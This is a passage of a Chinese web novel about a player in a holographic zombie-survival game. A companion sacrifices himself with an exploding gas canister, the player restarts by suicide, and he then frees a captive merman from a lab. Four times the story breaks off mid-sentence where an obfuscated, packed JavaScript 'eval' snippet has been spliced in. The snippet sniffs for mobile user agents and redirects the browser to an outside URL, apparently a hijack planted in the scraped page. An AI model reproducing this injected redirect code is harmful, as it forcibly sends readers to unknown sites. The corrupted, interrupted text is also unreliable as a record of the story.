第二天天亮后,为了解决整个队伍的饮食问题,安雪将所有人分为两个部分,一个部分要外出,视情况回村拿好食物、水等用品;另一个部分以老幼为主,保护他们的人为辅,留守在这座空宅里面,等外出的人回来。 不然要是带着老幼出去,万一出了什么问题,跑都跑不掉就糟糕了,在这座屋子里,起码还可以凭借结实的院门撑一撑。 做好分工之后,安雪就带人出发了。萧宁因为守夜,留在空屋补觉。何中正因为麦麦和跛腿,也被留了下来。 出发前,安雪对所有人说了已事先和上级汇报,会有人支援的事情,以求安抚大家的情绪。但是昨天惊魂一夜,许多人都受到了惊吓,不少人更是直接失去了自己日夜相伴的亲人,此时仍旧心有余悸,情绪低迷,萧宁还能听见有人低低的哭泣声。 人们抱在一起,互相安慰倾诉,寻得一点微薄的慰藉。 被这种情绪感染,萧宁也有些睡不着了,他靠着墙,闭着眼睛半睡半醒。听有人后悔在丈夫出门查看的时候没有拦一拦的,有人哭泣母亲为了保护她被抓伤感染的,还有人想要冲出去找到亲人,就算被感染也要带回来的。 最后那人情绪激动,好像真的想要跑出去。 萧宁仍旧闭着眼睛,声音凉凉的:”你觉得你父母想要你现在去找他们?“ “他们拼上命一搏,才有机会让你活到安警官他们来。你现在要出去,是想让他们的努力功亏一篑?” 那女孩一僵,用手捂住脸,眼泪终于控制不住流了出来:“你不懂……你根本什么都不懂!呜呜呜呜……” 萧宁不再说话,仍旧闭着眼,任由那女孩骂他直到累了睡了过去,才低低叹了口气。 这个世界太真实了,连每一个小角色都真实到可怕。 他有些难受。但是难受不该出现在一个以生存为最终目的的玩家身上。 这些明明都是NPC而已。 NPC的痛都是程序表现而已。 虽然这样说,萧宁还是觉得有些烦躁,也打不起精神。 他干脆起身和轮流上顶楼阳台值守的人说了一声,把自己也安排了进去排班,然后走去洗手间洗个脸。 但很不巧,洗手台已经有人了,萧宁看到本来准备另外再找间洗手间,却脚步一顿。 “何大哥?” 几乎将整张脸都泡在冷水里面的人抬起了头,露出了带着疤痕的脸,果不其然是何中正。 但是他此时看起来有些奇怪,眼睛中的神采不甚清明,脸上还带着些不太正常的红。他似乎也明白自己现在的状态不对,抹了一把脸:“有些头晕。” 萧宁看了他会儿,突然伸出手背碰了碰何中正的额头—— “好烫。”萧宁一惊,“何大哥你发烧了。” 何中正迷迷糊糊的也摸了一下额头,但是意识昏昏沉沉的:“……是吗?” “你快去休息。”萧宁急忙把何中正拖回昨天打的地铺,然后跑上楼,“我看看有没有退烧药。” 事急从权,萧宁翻了翻,找到了个医药箱,幸亏感冒药算是常用药,这个药箱里面也有,虽然过期了一个月,但是紧急情况也容不得他挑剔了,赶紧把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033654|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何中正的烧退了才是最重要的。 不然有什么突发情况就糟糕了。 萧宁准备回何中正身边的时候却听到了两个准备去轮班值守的青年的聊天,而他们聊天的内容让他脚步减缓。 “等等。”他叫住了他们,“请问你们刚刚是说你们父母发生异变前都莫名其妙的发起烧是吗?” “是啊。”两人对视一眼,回答道。有一个人还忍不住说:“真的是奇怪的很,明明他们都没有受凉,也没什么流感流行,结果突然发高烧,把我吓得够呛。不过也是因为要去买药我才逃过一劫。” 他们说完就去接替值守的人了,萧宁站在原地却久久没有动作。 他想起了突然爆发的陈姐,在还能说话的时候脸上也是带着发烧常有的红晕。而何中正现在……脸上也是不正常的红。 他的脚板升起了寒气。 怎么办? 难道何大哥昨天晚上被刮伤到了但是他没有发现,所以现在感染已经开始了? 可是他也有可能是单纯受凉了吧。 可……万一他真的被感染了,不提前准备,在人群中突然发狂的话,那就完了。 萧宁的脑子乱成了一团。 怎么办? 怎么办? 怎么办! 感染的话,何大哥是不是会死? 想到死这个字的时候,萧宁连呼吸都停滞了,思绪如同生锈的齿轮一般卡住,完全无法继续转动。 还有……还有麦麦。萧宁站在楼梯口,居高临下,很容易就看到麦麦窝在何中正身边用小肉手摸她父亲额头,带着小孩子特有的童真可爱。 怎么办…… 萧宁突然发现,他好像什么都做不了。 就在此时,他突然听到门口一阵骚动。在顶楼值守的人喊了一句:“安警官回来了。” 但是紧接着,他似乎受到了什么惊吓,突然大喊:“丧尸跟回来了!!!” 所有人都是一惊。 萧宁快步走上顶楼,从阳台探头去看,只见丧尸如同抢食的鱼群一般以密集恐惧症看了要抓狂的密度成半圆形合拢而来,让人看了甚至都生不出反抗的念头,生出的只有绝望。 要怎么抵抗呢? 在这片汪洋中,他们就好像一片毫不起眼的扁舟一般,说拍翻就拍翻了,连朵水花都击不起来。 唯一值得庆幸的,是那些丧尸在正午的行动速度不知道为什么稍慢一点,让外出搜寻物资的人抢先进了院子,可以借住院墙来进行反抗。 可是此时此刻,没有人能够笑得出来。 萧宁站了片刻,却想到了什么,跑下楼去,她抓住狼狈不已的安雪的袖子:“我想到了一个办法。” 11. 告别 安雪的眼神疲惫而明亮,听到萧宁这样说,她也撑起身,跟着萧宁往屋内走去。 萧宁:“今天你们出去的时候,剩下的人排查了这栋屋子里面的物资,发现还有一个未使用过的煤气罐和还剩一半的煤气罐。如果利用血液将丧尸集中到某个点,再引爆煤气罐,那外面一半及以上的丧尸都得被炸得粉碎。” “但是这个办法里面有几个地方要想想办法。比如说怎么样尽可能地在保全自身的前提下集中丧尸;怎么样把丧尸引到距离这里远一些的地方,不然让爆炸连我们一起波及就不好了。” “还有就是送煤气罐出去的时候,怎么不让丧尸进来也是一个问题……”萧宁一边不断在脑海中完善这个想法,一边说。 “我去。”一个声音从背后打断了萧宁的话。 萧宁的思绪被打断,他和安雪都诧异地转过身去,却看见了满脸汗水的何中正。 他的声音几乎是从牙齿里面挤出来的:“让我去。” 安雪根本没想到他看起来状态会那么差,想要去扶他,却被何中正拍开:“离我远点。” 他喘了一口气:“我要变成丧尸了。” 安雪呆立原地,萧宁则没想到他会直接认定这件事情并且说出来,何中正反而成为了当场最冷静的人。 “所以……”何中正喃喃,“让我去。” “这是我能做的最后一件事情了。” 也是他能够为麦麦送的最后一份礼物。 他是从产生一种前所未有的饥饿感的时候开始感觉不对的。他的女儿就在身边,可是在高烧不退的时候,他却开始对她产生一种食欲,一种可怕的、令人发疯的食欲。 这是一件根本不该出现的事情。 从那一刻开始,何中正就明白了自己身上出现了什么问题。恐怕在前一天和丧尸打斗的时候,他身上或许有连自己也没有发现的微小伤口被丧尸的血液侵染,在无声无息中感染了他,终于使他身上发生了不可逆转的变化。 所以…… “让我去。” “让我……死的有价值一点。” 他声音平稳而冷静,就好像这个想法已经在他的脑海里面滚过百遍千遍,只是现在才终于说出口。 “等等。”萧宁试图阻拦,“也可以尝试用别的方式把煤气罐送到丧尸中间……” “而且你看你现在也还有理智,说不定……”说不定会有别的办法呢? 即使萧宁都觉得自己的话苍白的可怕,但是他还是在徒劳的试图劝说。 安雪也喉头滚动,几乎一个字也说不出来,眼泪不听话地自眼眶溢出。 她和何中正是同一所学校的同学,当初毕业后何中正因为卧底缉毒,不仅失去了妻子,还跛了腿,在脸上留下了无法抹去的疤痕,她和同学们都很惋惜,时不时会来探望他。他们也曾协同作战,是一个战壕的战友。 可是,现在这个战友却要因为一个极有可能是人为的造物感染致死。 他明明没做错过任何事,甚至……他还救过很多人,怎么可以得到这样的结局? “不……不可以。”她激动道,“不可以!” “你、你不管麦麦了吗?”她尝试用何中正最重视的女儿来劝说,即使她也知道何中正实践这个计划是最好的方案,但是、但她怎么可能眼睁睁看他去死? “不然我去。”她说,“我想办法把东西留在中间,然后回来。” 她说着明晃晃的谎言:“我会活着回来,所以、所以你……” 你不用去。 安雪的话戛然而止,因为她对上了何中正安静看着她的眼神,那样安静,那样的……不赞同。 “你知道这是最好的办法。”他这样说。 “我不想变成一个彻底的行尸走肉。”他的话认真而坚定,“所以,让我去。” 让他最后一次为守护而战。 不……不行…… 她怎么可能接受?! 不…… 安雪想要说不可以,可是对上何中正坚定的神情,她却一个字也说不出来。 怎么可以这样呢? 为什么…… 她明白自己已经没办法继续拒绝,直到将嘴唇都咬破了,血液将嘴唇染的鲜红,才出声:“好。” 泪不知不觉流了满脸,她声音颤抖地送战友去死:“好……” 何中正点点头,拍拍她的肩膀,转身走向麦麦。 麦麦正在数自己的脚趾:“这是老大,这是老二,这是老四,这是老五,这是老六……不对不对,应该有十个脚趾,剩下这个是老几?” 一抬头,她就看见了爸爸:“爸爸!” 她张开双臂要抱抱。 何中正心软得一塌糊涂,却不再敢抱她。 他蹲下身,摸了摸麦麦柔软的发顶,声音极尽温柔:“麦麦,陪爸爸玩一场躲猫猫好吗?爸爸来躲,麦麦来找爸爸。” 麦麦眨了眨眼,有些不明白为什么爸爸会突然陪她玩游戏,但是她是个乖小孩,所以她说:“好呀,爸爸。麦麦肯定会找到你的,爸爸你要藏好噢。” 何中正声音不稳,险些哽咽:“好,爸爸会藏好的。” “不过爸爸对这里不熟悉,需要麦麦给爸爸多一点时间。麦麦在倒数的时候,从两百开始,可以吗?” 麦麦抓了抓头发,有点为难,但是还是点了点头,以“真是拿你没办法”的表情说:“好吧,麦麦大气,麦麦答应你啦。” 何中正又摸了摸麦麦的头发:“等下萧叔叔会做为裁判监督你的,你一定不能偷看噢。” 麦麦鼓了鼓腮帮子:“不可以小瞧我!我才不会耍赖!” 何中正笑着点点头:“我相信麦麦,麦麦一定不会偷看的。那等下我说开始,麦麦就面对着楼梯开始倒数,好吗?” 麦麦握紧小拳头:“好。” 萧宁欲言又止。 何中正却放下麦麦,见她没再注意这边,而在苦恼两百怎么倒数,才对萧宁说:“你一定会照顾好麦麦的对吗?我这一辈子没觉得亏欠谁,只除了她和我的妻子。” “我知道在现在这种情况下,大家都自身难保,我说出来多少有些强人所难。”何中正感觉自己正在逐渐失去言语的能力,像火在喉咙里面燃烧一般,但是他还是坚持说完,“但是求求你,照顾好她。” “我是个不负责任的父亲,不能亲自照顾她……”他眼神恳求,平日里顶天立地的脊背好像突然就塌了下来。刚刚好像无知无觉地提出主动赴死的形象因为爱女碎得干净,却更令人心酸。 他不是真的无知无畏,他留恋,他遗憾,但是他还是做出了选择。 “好。”萧宁无法拒绝此刻的何中正,他甚至觉得再让何中正多说一句话都是残忍。 但是何中正自己却笑了:“谢谢。” 然后他走向了厨房,去拖那个并未使用的煤气罐,然后对一直站在厨房门口一动不动的安雪说:“谢谢。还有,好好一个小姑娘多笑笑。” 安雪下意识说:“就比我大一岁,装什么老大哥。” 话刚说出口,她反应过来,转过头,只看到何中正渐渐远去的背影。 太阳仍旧高高的悬挂着,何中正的身影慢慢融入了刺目的阳光中,只剩声音远远地传过来:“麦麦,我们开始躲猫猫吧。” “好。” 于是,丁点大的孩子开始一字一字地倒数:“两百……” “一百九十……九……” 何中正也走到了门口,身上沾着血迹的年轻人在两边严阵以待,决不让他出去的时候,有丧尸趁机进来伤害他们的亲人与朋友。 在何中正与麦麦告别的时候,他们已知道了这个计划,谁都知道这是一条无法回头的路。所有人都静默着,注视着他,就好像在进行一场无声的送别。 这一别,就永别。 所以没有人说话。 安雪塞了一只鸡给何中正。他们外出的时候,已经发现了这些鲜活的肉食都会对丧尸产生吸引,因此这只鸡就是给何中正来发挥吸引丧尸的作用的。因为何中正此时已经半丧尸化了,他的指甲明显长长,很可能不会对丧尸造成吸引。 安雪好像已经收拾好了心情,除了红肿的眼睛,并不能看出她激荡的心情。 她抿了抿嘴,最后朝何中正敬了一个礼。 何中正眼中的世界已经开始出现五彩缤纷的光斑,但是他也缓缓举起手,回以安雪一个礼。 再见。 他回头无声告别,然后决绝地走进了疯狂的丧尸洪流中,就好像一叶进入逆流的扁舟。 高热在褪去,一种无法言喻的力量在改变他的身体。但是与之相对的,是他的意识正在不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033655|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、不断地消散。 他的思维就好像一卷不断被抽掉的毛线团,越来越小,越来越小…… 许许多多的丧尸拥挤着朝他涌来,在房屋的大门被守住后,距离他们最近的新鲜肉食就是何中正怀里的那只。 他们想要争夺他抱着的那只晕过去的鸡,但何中正护的很紧,所以它们开始撕咬,一块又一块肉被从他身上咬下来,又不断再生。 何中正感觉不到痛,他的意识已经十分混沌,如同一片大雾,只剩一点闪烁的信号灯在指引着他的方向。 他看到很多人站在信号灯下等他。 他的老师、他的同学、同村的亲朋好友…… 还有麦麦和他的妻子。 加油啊!加油! 他们好像在说。 于是他朝着信号灯的方向,很安心,很坚定的走。 走了很久很久,久到那点光芒似乎都要消散掉了,才停下脚步,拿出口袋里面的打火机。 他的记忆里面有很多人曾守护了他,他也曾守护过许多人。 这一次,是他最后的一场战斗了。 他轻轻想:麦麦,我不是一个好爸爸。你出生的时候忙于工作,腿刚刚跛的时候又一度消沉,以后也不能再陪伴你,爸爸在你面前好像总是那么狼狈。 对不起,麦麦。 麦麦,爸爸祝你以后一直开心。 永远都开开心心。 “轰——” 巨大的声音响起,大地都为之震动。 萧宁远远眺望,一点火光从远处燃起,然后扩大成灿烂的火焰,一片人影在那火焰下“舞蹈”,横冲直撞,于是火焰不断的传递、扩散,最终将灰色的海洋染成了金色,好像和太阳融为了一体,直到烧尽一切才彻底停息。 萧宁呆呆的看着一切,好像失去了说话和动作的能力,成了一座泥塑木雕的假人。 有什么抓了抓他的衣摆——是麦麦。 她好像什么都不知道,所有人都瞒着她。 于是,她带着天然的笑,说:“哥哥,我数完啦!” “我是不是可以抓爸爸啦?” 萧宁知道,他应该说:“去吧,麦麦,你爸爸就在这里和你躲猫猫,你去找他吧。” 可是就好像有什么堵住了他的喉咙,让他一个字都说不出来。 他看着麦麦的眼睛,那双眼睛澄澈无比,没有人想要让那双眼睛中染上阴霾。于是他声音轻轻的:“嗯,你数完啦。去抓爸爸吧。” 然后看着麦麦噔噔噔地爬上了楼。 他站在原地,血液似乎都凝固了,整个人变成了一座雕塑。 一个声音在他的脑海里面回响:如果选择通过生存到最后来通关,那这只是一个开始而已。 会有一个又一个人与他相遇,然后死去。 会有何中正这样的人,会有安雪这样的人,会有钱婶子这样的人,也会有……麦麦这样的孩子。 他们或许都会死,又或者大半会死,还有可能活下来的人会变得面目全非。 残酷的末世好像容不下一点柔软和善良。 就算他用尽全力去抓紧,也未必能握得住那些人的手。 …… 不…… 他不能接受。 他不能接受! 就算只是游戏,他也不能接受! 看着他们死去,却安慰自己一切都是注定发生,他们的死是有价值的……这种事,他做不到! 这样就算一路走到终点又有什么意义?! 就算真的这样才是游戏通关的真结局,他也不认可! 凭什么在末世好人要先死,自私才可以苟活? 他是个俗人。 他只想看到好人都活下来。 他只想看到孩童无忧无虑玩耍。 他只想看到俗套的大团圆圆满结局。 他不接受。 所以就算用掉所有机会,他也要走他认可的那条路。就算很难很难,就算全部都是徒劳,他也不会放弃。 他要,回到最初,找到一切的起源。 他要弄清丧尸病毒,然后解决它。 让一切回到它应该有的样子。 于是,萧宁握起身边人用以准备晚餐的那只刀,在众人不敢置信加惊恐的眼神中捅进了胸口。 游戏,重启。 12. 重开 萧宁并没有立马开始游戏。 他暂停退出了游戏,瘫在沙发上,觉得整个人的情绪都很低迷。 在进行全息游戏的时候,他的身体会进入睡眠状态休息,打开手机看看已经凌晨五点多了。原本吵闹的世界已经安静了下来,拉开窗帘往外看,一片漆黑,只剩一点星光和灯光闪烁。 游戏玩到这里已经睡不着了。 他干脆搜索《异变》相关的内容,发现这个游戏还有一个专门的论坛,点进去全部都是哀嚎—— “谁能懂一进去就一直在死人的感受啊?不是我死,就是朋友死,不是朋友死,就是亲人死,救命啊!刀得我泪流满面。” “真的有人能活过72小时吗?我已经把三次重开机会全部都用完了,现在才在游戏里面活了24小时(痛苦面具)。” “游戏里面的角色真的都好生动,我每次重开都去接触不一样的人,他们竟然全部都有属于自己的故事和故事线。制作方也太用心了吧?!就是太容易死了,不然不冲着通关去,就让我摸索摸索每个人的故事线,感觉我的小说也有灵感了。” “游戏难度也太高了,死亡点一个接一个的,才给3次重开机会怎么够?” 萧宁翻了半天才看到一个技术贴—— 【《异变》中的干货分享】 且听风吟:这个游戏的难度挺高的,所以想和大家讨论讨论。因为论坛限制不能透露游戏故事线方面的内容,所以就在这里和大家聊一聊可以说的部分。 且听风吟:首先应该是大家都应该感觉出来了,这个游戏的细节做得特别的真实,而且每个人物,就算是路人甲竟然也都是有自己的性格和故事的,我都不敢想这是多么庞大的工作量。可能就是基于这个原因,所以游戏方设置了一个门槛。 3L:前排围观大佬。 4L:蹲蹲。 且听风吟:是的,大家应该都想到了,就是那个72小时内只三次重开机会。 且听风吟:为了获得第一个存档点,我靠着高体力高敏健一路苟,这才拿到了存档点。 且听风吟:告诉大家一个好消息,有了存档点之后,是可以无限回档的。 8L:!!! 9L:大佬说靠着高体力、高敏健,是看到了主控的游戏数值了吗?我好像到处都没有找到。 且听风吟:是的,获得存档点之后好像才是真正的游戏开始,就可以看到自身的游戏面板了。 11L:太好了!谢谢大佬!让我又有通关的信心了。 12L:大佬真是太好了,竞争奖金的关系竟然还分享游戏心得。 且听风吟:没有什么,就是想和大家交流一下,也想听听大家的发现。 14L:我来!死丧尸手里面那么多次,我发现他们怕火不怕水,如果我躲在湖里,他们也会进湖里来抓我,但是如果用火焰驱赶,他们会逃离。 15L:哇,好多大佬。 16L:膜拜大佬。 17L:我是发现被丧尸抓伤进入感染阶段的话会发高烧,然后丧失意识,彻底变成丧尸。 18L:对的,而且丧尸虽然对新鲜血肉相当疯狂,但它们是不会对同类下手的。 19L:开个脑洞,既然这样,是不是可以可以研发一个丧尸香水,往自己身上一喷就能让别人认为自己也是丧尸,就不会被咬了,可以一路苟到游戏结局通关。 20L:哇靠,楼上好脑洞。 萧宁若有所思,不过再往下翻,就大多都是“膜拜大佬”“记笔记”之后的话了,没再看到干货。 不过也是,在竞争奖金的前提下,愿意分享自己经验的大多都是些对奖金没有想法的人,当然不会很多。既然没再看到有用的信息,萧宁就关闭了论坛。 他搓了搓脸,陷入了沉思。 ……一天后,萧宁再次进入了游戏。 白……白……白 枯燥又死板的白,萧宁垂着眼,却没有再次去搜寻线索,或者去拿实验药剂来打开那扇被他在之前破坏过的大门。 而是又一次翻出了原本在实验室深处不知道用处的“柱子”,撑住压着人鱼的天花板,将人鱼从沉重的石板下拖了出来。 萧宁拿了实验室的医药箱,给人鱼上药包扎。也正是在包扎的时候,他真真切切地感受到人鱼所受到的伤害——密密麻麻的伤痕即使愈合,也留有深深浅浅的疤痕,它们交叠在一起,书写着残酷的过去。 萧宁抽了一口气,继续手上的动作。他的动作很麻利,绑好的绷带也整齐好看。 给人鱼包好大大小小的伤口之后,萧宁去接了点水,打湿一块应该是没用过的干净毛巾,开始给人鱼打湿身体。 首先擦的是脸。这张脸是萧宁见过的最符合他审美的脸,五官刀削斧刻一般,就是萧宁在现实中见过的明星加在一起也比不上,是真真二次元里面才能出现的样貌。 萧宁将人鱼的脸擦干净的时候,水沁润了对方的肌肤,对方的表情肉眼可见地舒缓了下来。 然后顺着肌肤一寸寸擦下去,萧宁发现对方的上半身太过类人,实在是没有办法心平气和,只好跳过,直接开始擦鱼尾巴。 如同湖面一般波光粼粼的尾巴此时如同干枯的花朵一般奄奄地搭落地面,不少鳞片带着鲜血掉落,萧宁看着都肉痛,干脆把水接在杯子里面,一点点地倒到鱼尾上面,尽可能让对方鱼尾的每一寸都被清水滋润。 慢慢的,那鱼尾就如同久旱的土地遇到雨水般,道道裂开的血口都以超人的速度开始愈合结痂。 到了后面,甚至是太开心了,如同开心的小狗一样,轻轻地摇晃起来。 萧宁在将最后一点尾巴也倒上清水之后,一抬头就对上了一双澄澈透亮的眼睛。 真美啊。 像无边无际的湛蓝天空,像无限包容的海洋。 之前几次见到对方,都总是杀气腾腾的,这一瞬间,他却觉得对方出奇的平静,或者说迷茫。 事实也如此。 人鱼很迷茫。 在人鱼的认知里面,人类是邪恶,是与善良完全沾不上边的生物。这样的人类,当然不可能为他治伤。 可是伤口冰冰凉凉的感觉并不作假,身体被许久不曾接触的水所滋养的感觉也不做假,就好像他又回到了家,回到了他再也回不去的地方一样。 他真的是人吗?人鱼这样怀疑,可是五感都在告诉他,这就是人类,是无恶不作的人类。 他用手握住了人类的咽喉,只要轻轻一捏,这个人就会死在他面前,可是他犹豫了。 菲利克斯爱憎分明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033656|162374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前的人类帮助了他,那就应该报答他,可是他碰到的人类没有好人,面前这个说不定也是想要欺骗他,他没有犯错的机会,所以他还是想要杀他。 菲利克斯迷茫了。 让他更加迷茫的是,对方没有任何反抗的意思,就如同在猛兽面前完全敞开了肚皮的小动物般予求予夺,这和被他握住脖子的所有人类的表现都不一样。 “你好啊。”掌下的皮肤颤动,菲利克斯听到那个人类说,“初次见面,请多指教。” 无意义的问好。菲利克斯听到熟悉的语言,再次确定了对方的人类身份,微微加大了力道,对方的皮肤细嫩,渗出了鲜血,在冷白的皮肤上留下了明显的痕迹。 “咳咳。”萧宁嗓音有些发紧,但仍旧带着笑意,“你听得懂我说话,对吗?” 森林里的猛兽,再聪明,在人类眼里也显得一看就清。 被说中让人鱼看起来更加应激,掌下的力道继续加大,让被扼住咽喉的萧宁连脸都因为缺氧而发红,但是因为那张冷血精致的长相却更凸显了一种夺人心魄的吸引力。 “要不要来打个赌?”他笑着说。 “赌注,是我的命。” 收拢的掌心一滞。 菲利克斯看向面前玉一般皮肤下透出红晕的青年,他歪了歪头,眼下的泪痣越发夺魂摄魄。 他眨了眨眼,看起来竟然有些俏皮:“我能告诉你伤害你的根本——王所长会在哪里出现。” “说错了的话,我的命就是你的。” 菲利克斯的眼神一利,他当然明白谁才是最应该报复的人,可是那个人到现在都根本没有露面。能知道对方在哪里当然很好,可是面前这个人类又为什么要帮他,是不是要他付出什么代价?这些人类都没什么好心思,谁又知道面前这个在想什么。 正当菲利克斯的爪子再次蠢蠢欲动的时候,他听到了萧宁的后半句,动作完全僵住了—— “如果我说对了的话, 我带你出去。” “离开这座逼仄的、残酷而冷血的研究所,去草地,去湖泊,去大海……” “好不好?” 菲利克斯完全愣住,目光一错不错地落在萧宁身上,落在那双灿烂如星辰的眼眸中,就好像看到了一个奇迹。 那么,你又要什么呢? 他想,这个狡猾的猎人,拿出了两个他根本无法拒绝的筹码做诱饵,又准备什么时候拿出他的网与叉呢? 一瞬间的亮光在人鱼眼中熄灭,他漠然收回手,却突然被一道力道按了回去,这力道有些重,以致于本来已经有些停止流血的伤口再一次裂开,刺目的鲜红再一次在雪白上流淌。 “你不相信我?”他说,字字都如同敲在菲利克斯心头,“那就杀了我。” 菲利克斯猛然抬头——这世界真的有不努力生存的生物吗? 抓着他那只手的一双手冰冰凉凉的,却好像有千斤一般重。 菲利克斯心乱如麻,那只感觉温热液体沾上掌心烫得他都不知道自己伸的是左手还是右手了。 他好像遇到了一个这世界上他最难以解开的谜团。 可以随手捏弯钢筋的爪子一下就不会动了。 萧宁眨了眨眼,看着CPU已经烧掉的人鱼,笑得像只讨了封的小狐狸。 13. 第二步,成功! 萧宁这一趟都只有一个目的,就是带走人鱼。 欣姐的消失、研究所的丧尸浓度、畏火不畏水的丧尸特性等等细节都指向了一件事情——丧尸很有可能就是第一研究所在人鱼身上研究出来。 在时间紧张,爆炸逼近的前提下,很难带走全部相关资料。那带走人鱼就是最优选择。既然病毒是从人鱼身上研究出来的,那么针对病毒的药剂很大可能也可以从人鱼身上得来。 但人鱼是活的,并不像资料可以说带走就带走,而且有很高的战斗力,萧宁根本不可能用强制手段带走他。那么怎么让他心甘情愿的走,又成为了一个新的问题。 让一个被伤害过的,伤痕累累的人鱼原意跟着伤害他的研究所里面的人类走,随便给一个人讲,恐怕都会被嘲笑是痴人说梦。 但萧宁并不觉得这是一个无法完成的事情。 但从人鱼优先攻击白大褂来说,他就并没有完全失去理智,不是无差别攻击。再从他丢掉白大褂,就被人鱼置之脑后来说,他这张脸或许根本就没有在人鱼那里留下印象。 这就给了他机会。 回档重开给了他信息差,所以他拥有两个人鱼难以拒绝的筹码——离开研究所和见到王礼坚所长。 但用这两个筹码只能让人鱼在研究所内和他站在统一战线上,却不能让他在离开研究所后还与他一起。 所以,萧宁要给这个猛兽,戴上一条无形的绳索。 而现在人鱼果然没有杀他,并且点头答应了打这个对他百害而无一利的赌。 计划的第一步,已经成功了。 有了超强战力打手(研究所内限定版) 的萧宁有点想浪了。此时不趁机探索研究所,那就是浪费机会,愧对游戏人的名头。 而且萧宁还是很想拿到研究所之前的研究资料的。原本是怕探索的时候不小心就GG,但是现在身边有了人鱼,对方在出去之前是不会看他死而坐视不理的。 那他就有了那么一点在危险边缘反复横跳的机会。 为了得到资料,冒点险不算什么。 于是,萧宁仰头,对着菲利克斯道:“王所长要晚一点才能出现,在那之前,我们先去一个地方。” 菲利克斯看着面前越加神秘的人类,默许了他的选择。 在人鱼的一爪子下,原本要萧宁废半天劲融掉损坏的大门直接就被暴力破开。而原本应该出现的丧尸因为时间线的变化,竟然也真的完全没有看到人影。萧宁判断了一下方位,从没走过的那条路绕了一下,果然就看到了王所长之前出现的那条走廊。 但是还不能告诉人鱼这个消息,不然对方很有可能要呆在这里守株待兔,不和他探索新地图了,毕竟对方和王所长的仇怨真的是大了去了。 这条走廊非常长,连接着许许多多的房间,要将这些房间都探索一遍是几乎不可能的事情。萧宁没有走进其中任何一间。他的目标很明确,要在最短的时间里面获得最多的信息,能达到他目标的,一定是研究所高层的房间得到的资料。 按照他玩游戏的经验来说,要么在最顶层,要么应该在最底层,才是最后可能找到高层房间的地方。 而且应该有较为严密的保管措施,不过在这种混乱的时候,萧宁觉得再严密的保险也敌不过人鱼的一爪子。 走廊尽头是一台电梯,萧宁想尝试看看去电梯的顶楼和底层,但是在靠近电梯的时候,却看到上面的数字跳动,竟然在他们那一层停了下来。 萧宁连忙拉着菲利克斯躲进了旁边不远的洗手间。 巧合的是,从电梯里出来的那人竟然也进了洗手间。 “成副所长!你疯了吗?!”那个人打着电话,声音歇斯底里,“你不要想瞒过我,所有验证都多加了一层锁,你是不是启用了备用程序?” “备用程序是什么?为什么有研究员反映无法外出,还有……那个、那个怪物是什么?” 在他打电话的时候,萧宁抵着虚掩的门,菲利克斯被他拦在身后。一人一人鱼呆在一个隔间里面稍微有些拥挤,但是萧宁正在专心地听外面那人几乎崩溃的话语,并没有太在意。 “有很多研究员被咬伤之后发起高烧,甚至变成了同样的怪物。你既然开启程序是不是发现了什么?” “喂、喂喂?你……该死的,怎么挂了电话?”男人抓着自己的头发,理智如同丝线,随时都将要断裂。 这个时候,好像有什么在他身后拍了拍他的肩膀。 男人一僵,听到身后声音响起:“你好呀?” 对方笑眯眯的:“不好意思呢,想让你帮忙带一下路。希望你不要拒绝……” 男人抬眼,就从面前的镜子中看到了本该被关着的人鱼实验品,对方低垂着眼,锋利的爪子在白炽灯下显露出金属般的光泽。 “不然我也不能保证会发生什么。”刚刚的声音应时响起,不急不缓,却让男人毛骨悚然。 于是,在有人带路的情况下,找到成副所长的事情就方便得多了。虽然成副所长可能是猜到会有人找他,提前关闭了自己办公室的大门还加了金属层,但是那在人鱼这里都不是事,顶多就是多花一点时间而已。 也因此,颓然躺在办公室座椅上的成旭年迎来了不速之客。 本该将他严严实实隔离在一切之外的大门轰然倒塌,烟尘之中缓缓显露出了一个青年的身影。 对方标志性的泪痣让成旭年一眼就注意到了他,但是……这个人是什么时候出现在研究所的?他看过所有研究员的简历……好像、或许并没有这个人?他微微拧起眉毛,感受到一丝丝古怪的感觉从脑海中划过。 但他很快就没有空再去管这些细节了,因为那个闯入他办公室的人已经很不客气地拉了一把椅子,自顾自地坐下。 “久闻大名。”对方嘴角勾着轻松的弧度,“成副所长。” 成旭年呵呵: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 